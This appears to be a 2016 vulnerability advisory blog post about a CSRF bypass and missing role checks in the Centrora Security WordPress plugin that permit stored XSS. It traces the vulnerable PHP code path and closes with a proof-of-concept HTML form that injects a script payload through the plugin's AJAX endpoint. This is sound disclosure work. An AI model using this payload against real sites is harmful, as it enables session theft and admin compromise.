02 Sep

Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability in Centrora Security

Recently while during some quick security checks over security plugins we noticed that the protection against cross-site request forgery (CSRF) in the Centrora Security plugin was easily bypassed. To provide an example of that in action we looked at how that could be used to insert JavaScript code into a page, which would be a cross-site scripting (XSS) vulnerability. While we doing that we realized there was an additional security issue with the plugin, it fails to restrict its AJAX functions to intended user levels. Using the example from the first vulnerability that leads to authenticated persistent cross-site scripting (XSS) and it could have possibly lead to other issues as of version 6.5.6.

The plugin makes the function runAction() accessible through WordPress’s AJAX with the following code in the file /vendor/oseframework/ajax/oseAjax.php:

70
71
72
73
74
75
public static function addActions($func)
{
	if (class_exists('oseWordpress'))
	{
		add_action('wp_ajax_'.$func, 'oseAjax::runAction');
	}

That makes the function accessible to anyone logged in to WordPress, so if something is only intended for users with certain roles, you need to check for that. The runAction() function didn’t do that, but if the CSRF protection was working it would provide a similar protection in most cases since a lower level user wouldn’t have the access to the proper nonce to pass that check. The function secureCheck() run in that function should do that, but didn’t due to the issue mentioned in our other post.

33
34
35
36
37
38
39
40
public static function runAction()
{
	$centrora = oseFirewall::runApp();
	self::secureCheck();
	$requst = $centrora->runController($_REQUEST['controller'] . 'Controller', $_REQUEST['task']);
	$requst->execute();
 
}

From the request goes to the runController() function in the file /classes/Library/oseFirewallBase.php:

289
290
291
292
293
294
public static function runController ($controller, $action) {
	//global $centrora;
	$centrora = self::runApp();
	$requst = $centrora->runController($controller, $action);
	$requst->execute();
}

No check was done there either. From the request goes to the execute() function in the file /vendor/phpixie/core/classes/PHPixie/Request.php:

184
185
186
187
188
189
190
191
192
193
194
195
196
197
public function execute()
{
	$this->pixie->cookie->set_cookie_data($this->_cookie);
	$class = $this->param('namespace',$this->pixie->app_namespace).'Controller\\'.ucfirst($this->param('controller'));
	$controller = $this->pixie->controller($class);
	$controller->request = $this;
	if (isset($_REQUEST['action'])) {
		$controller->run($_REQUEST['action']);
		return $controller->response;
	} else {
		$controller->run($this->param('action'));
		return $controller->response;
	}
}

No check was done there either. From the request goes to the run() function in the file /vendor/phpixie/core/classes/PHPixie/Controller.php:

96
97
98
99
100
101
102
103
104
105
106
107
108
public function run($action)
{
	$action = 'action_'.$action;
	if (!method_exists($this, $action))
		throw new \PHPixie\Exception\PageNotFound("Method {$action} doesn't exist in ".get_class($this));
 
	$this->execute = true;
	$this->before();
	if ($this->execute)
		$this->$action();
	if ($this->execute)
		$this->after();
}

From there the action specified in the request is run, going back to example from the previous post the action run is addips, which is handle through the function action_Addips() in the file /classes/App/Controller/ManageipsController.php. Once again no check if the user should have access was done and the saving of the “title” input happens without any sanitization (as detailed in the other post):

59
60
61
62
63
64
65
public function action_Addips() {
	$this->model->loadRequest();
	$ipmanager = $this->model->getFirewallIpManager ();
	$ip_start = $this->model->getVar('ip_start', null); 
	$ip_type =  $this->model->getVar('ip_type', null);
	$ip_status = $this->model->getInt('ip_status', 1);
	$title =  $this->model->getVar('title', 'Backend Added IP');

The “title” value is returned on the page/wp-admin/admin.php?page=ose_fw_manageips through an AJAX request through the function action_GetACLIPMap() in the file /classes/App/Controller/ManageipsController.php that doesn’t escape it either.

On the day we contacted the developer about the issue they fixed the lack of user level checking with the release of version 6.5.7 of the plugin, and then fixed the lack of sanitization with the release of 6.5.9 two days later.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=ose_fw_manageips, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="addips" />
<input type="hidden" name="task" value="addips" />
<input type="hidden" name="option" value="com_ose_firewall" />
<input type="hidden" name="controller" value="manageips" />
<input type="hidden" name="title" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="ip_type" value="ip" />
<input type="hidden" name="ip_start" value="1.1.1.1" />
<input type="hidden" name="ip_end" value="" />
<input type="hidden" name="ip_status" value="1" />
<input type="hidden" name="centnounceForm" value="false" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 8/30/2016 – Developer notified.
  • 8/30/2016 – Version 6.5.7 released, which fixes the issue.

Concerned About The Security of The Plugins You Use?

When you are a paying customer of our service (you can currently try the service free for the first month), you get to suggest/vote on what plugins we will do security reviews of.

Leave a Reply

Your email address will not be published. Required fields are marked *